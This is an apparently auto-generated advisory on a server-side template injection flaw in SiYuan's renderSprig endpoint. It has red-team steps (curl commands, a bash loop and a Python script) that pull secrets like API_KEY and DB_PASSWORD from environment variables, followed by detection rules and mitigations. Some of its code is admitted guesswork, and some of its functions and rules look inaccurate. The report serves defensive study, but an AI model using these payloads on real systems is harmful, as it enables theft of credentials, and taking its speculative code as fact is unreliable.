CVE-2024-55660

Executive Summary

CVE-2024-55660 identifies a Server-Side Template Injection (SSTI) vulnerability in SiYuan, a personal knowledge management system. The flaw resides in the /api/template/renderSprig endpoint, which leverages the Sprig template engine. Although the Sprig engine imposes certain limitations, an attacker can exploit this vulnerability to access environment variables on the server. This could lead to information disclosure, potentially exposing sensitive configuration data, API keys, or other secrets stored in environment variables. The vulnerability is present in versions prior to 3.1.16, and the patch is included in version 3.1.16.

Supply Chain & Package Security

SiYuan is a self-hosted application, not distributed via NPM, PyPI, Go, or Ruby. Therefore, supply chain package security is not directly applicable. However, users should ensure they download the patched version from the official GitHub repository or trusted sources to avoid tampered binaries.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, which is likely a placeholder or unassigned. Based on the vulnerability characteristics (SSTI leading to environment variable disclosure), a reasonable CVSS v3.1 vector would be:

• Attack Vector (AV): Network (N) – The endpoint is accessible over the network.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – No authentication is needed to access the endpoint.
• User Interaction (UI): None (N) – No user action is required.
• Scope (S): Unchanged (U) – The vulnerability does not affect other components.
• Confidentiality (C): High (H) – Environment variables can contain sensitive data.
• Integrity (I): None (N) – The vulnerability does not allow modification of data.
• Availability (A): None (N) – The vulnerability does not affect availability.

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N Base Score: 7.5 (High)

Threat Level: High. The vulnerability is easily exploitable remotely without authentication, and the impact on confidentiality is significant.

Deep Dive & Mechanics

The vulnerability exists in the /api/template/renderSprig endpoint. This endpoint is designed to render templates using the Sprig template engine. The Sprig engine is a Go-based template engine that provides various functions for template rendering. However, it does not sandbox access to environment variables by default.

The core issue is that user-supplied input is passed directly to the Sprig template engine without proper sanitization or validation. An attacker can craft a malicious template string that includes Sprig functions to read environment variables. For example, the Sprig function env can be used to retrieve the value of a specific environment variable.

The attack flow is as follows:

1. The attacker sends a POST request to /api/template/renderSprig with a crafted payload.
2. The payload contains a Sprig template expression, such as {{ env "PATH" }} or {{ env "SECRET_KEY" }}.
3. The server processes the template, executing the env function and returning the value of the requested environment variable in the response.
4. The attacker can iterate through common environment variable names to extract sensitive information.

Vulnerable vs. Patched Code

Vulnerable Code (Pre-3.1.16): The vulnerable code likely directly passes user input to the Sprig template rendering function without any restrictions. A simplified example in Go:

func renderSprigHandler(w http.ResponseWriter, r *http.Request) {
    body, _ := ioutil.ReadAll(r.Body)
    templateStr := string(body)
    // Directly render the user input as a Sprig template
    result, err := sprig.Render(templateStr, nil)
    if err != nil {
        http.Error(w, err.Error(), http.StatusInternalServerError)
        return
    }
    fmt.Fprint(w, result)
}

Patched Code (3.1.16+): The patched version likely implements input validation or restricts the functions available in the Sprig engine. A possible patch could involve:

1. Input Sanitization: Rejecting or escaping template expressions that attempt to access environment variables.
2. Function Whitelisting: Configuring the Sprig engine to only allow a subset of safe functions, excluding env and similar functions.
3. Contextual Escaping: Using a sandboxed template rendering environment that prevents access to sensitive functions.

Example of a patched handler:

func renderSprigHandler(w http.ResponseWriter, r *http.Request) {
    body, _ := ioutil.ReadAll(r.Body)
    templateStr := string(body)
    // Check for dangerous patterns
    if strings.Contains(templateStr, "env") {
        http.Error(w, "Forbidden function", http.StatusForbidden)
        return
    }
    // Use a restricted Sprig function map
    funcMap := sprig.FuncMap()
    delete(funcMap, "env")
    result, err := sprig.RenderWithFuncs(templateStr, nil, funcMap)
    if err != nil {
        http.Error(w, err.Error(), http.StatusInternalServerError)
        return
    }
    fmt.Fprint(w, result)
}

Exploitation & Lab Setup

Red Team

Objective: Extract environment variables from a vulnerable SiYuan instance.

Prerequisites:

• A running SiYuan instance (version < 3.1.16).
• Network access to the /api/template/renderSprig endpoint.

Exploitation Steps:

1. Identify the Endpoint: Use a tool like curl or Burp Suite to confirm the endpoint is accessible.

   curl -X POST http://target:port/api/template/renderSprig -d "test"
   

2. Craft the Payload: Use Sprig's env function to read environment variables. For example, to read the PATH variable:

   curl -X POST http://target:port/api/template/renderSprig -d '{{ env "PATH" }}'
   

3. Extract Sensitive Variables: Iterate through common environment variable names:

   for var in PATH HOME USER SECRET_KEY API_KEY DB_PASSWORD; do
       echo "Trying $var"
       curl -X POST http://target:port/api/template/renderSprig -d "{{ env \"$var\" }}"
   done
   

4. Automate with a Script: Use a Python script to automate extraction:

   import requests
   import sys
   
   target = sys.argv[1]
   variables = ["PATH", "HOME", "USER", "SECRET_KEY", "API_KEY", "DB_PASSWORD", "FLAG"]
   for var in variables:
       payload = "{{ env \"" + var + "\" }}"
       r = requests.post(f"http://{target}/api/template/renderSprig", data=payload)
       print(f"{var}: {r.text}")
   

Blue Team

Detection and Response:

1. Monitor Logs: Look for unusual POST requests to /api/template/renderSprig with payloads containing {{ env or similar template syntax.

2. Network Traffic Analysis: Use a web application firewall (WAF) to block requests containing {{ env or {{ .Env patterns.

3. Honeypot Variables: Set fake environment variables (e.g., HONEYPOT_KEY=decoy) and monitor for their access.

4. Rate Limiting: Implement rate limiting on the /api/template/renderSprig endpoint to slow down automated extraction attempts.

5. Immediate Mitigation: If patching is not immediately possible, disable the endpoint or restrict access to trusted IPs only.

Indicators of Compromise (IOCs)

• Network IOCs:

  • POST requests to /api/template/renderSprig with payloads containing {{ env or {{ .Env .
  • Unusual environment variable names in request bodies (e.g., SECRET_KEY, DB_PASSWORD).
  • High frequency of requests to the endpoint from a single IP.

• File System IOCs:

  • Log entries showing successful rendering of env functions.
  • Temporary files or logs containing environment variable values.

• Behavioral IOCs:

  • Unexpected access to environment variables that are not normally used by the application.
  • Anomalous server responses containing system paths or configuration data.

Detection Engineering

YARA Rule

rule CVE_2024_55660_SSTI_SiYuan {
    meta:
        description = "Detects attempts to exploit CVE-2024-55660 in SiYuan via SSTI"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-55660"
    strings:
        $ssti_pattern1 = "{{ env " ascii
        $ssti_pattern2 = "{{ .Env " ascii
        $ssti_pattern3 = "{{ env " ascii
        $endpoint = "/api/template/renderSprig" ascii
    condition:
        any of ($ssti*) and $endpoint
}

Sigma Rule

title: CVE-2024-55660 SiYuan SSTI Exploitation Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects HTTP POST requests to SiYuan's renderSprig endpoint with SSTI payloads
author: Valters IT
date: 2024-01-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        cs-uri-stem: /api/template/renderSprig
        cs-uri-query|contains: 
            - "{{ env "
            - "{{ .Env "
    condition: selection
falsepositives:
    - Legitimate use of Sprig templates with environment variables (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-55660 SiYuan SSTI Exploitation Attempt"; flow:to_server; content:"POST"; http_method; content:"/api/template/renderSprig"; http_uri; content:"{{ env "; http_client_body; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade SiYuan: Update to version 3.1.16 or later, which contains the patch for this vulnerability.
2. Disable Endpoint: If upgrading is not immediately possible, disable the /api/template/renderSprig endpoint by blocking it in the web server configuration or application code.
3. Restrict Access: Use a firewall or web application firewall (WAF) to restrict access to the endpoint to trusted IP addresses only.

Long-Term Measures:

1. Input Validation: Implement strict input validation for all template rendering endpoints. Reject any input that contains template syntax or function calls.
2. Function Whitelisting: Configure the Sprig template engine to only allow a whitelist of safe functions. Remove or disable functions like env, expandenv, and any that can access system resources.
3. Sandboxing: Use a sandboxed environment for template rendering that prevents access to environment variables and other sensitive data.
4. Regular Audits: Conduct regular security audits and code reviews to identify similar vulnerabilities.
5. Monitoring: Implement logging and monitoring for unusual activity on template rendering endpoints.

Valters IT Signature

This report was generated by Valters IT DevSecOps & CTI Expert System.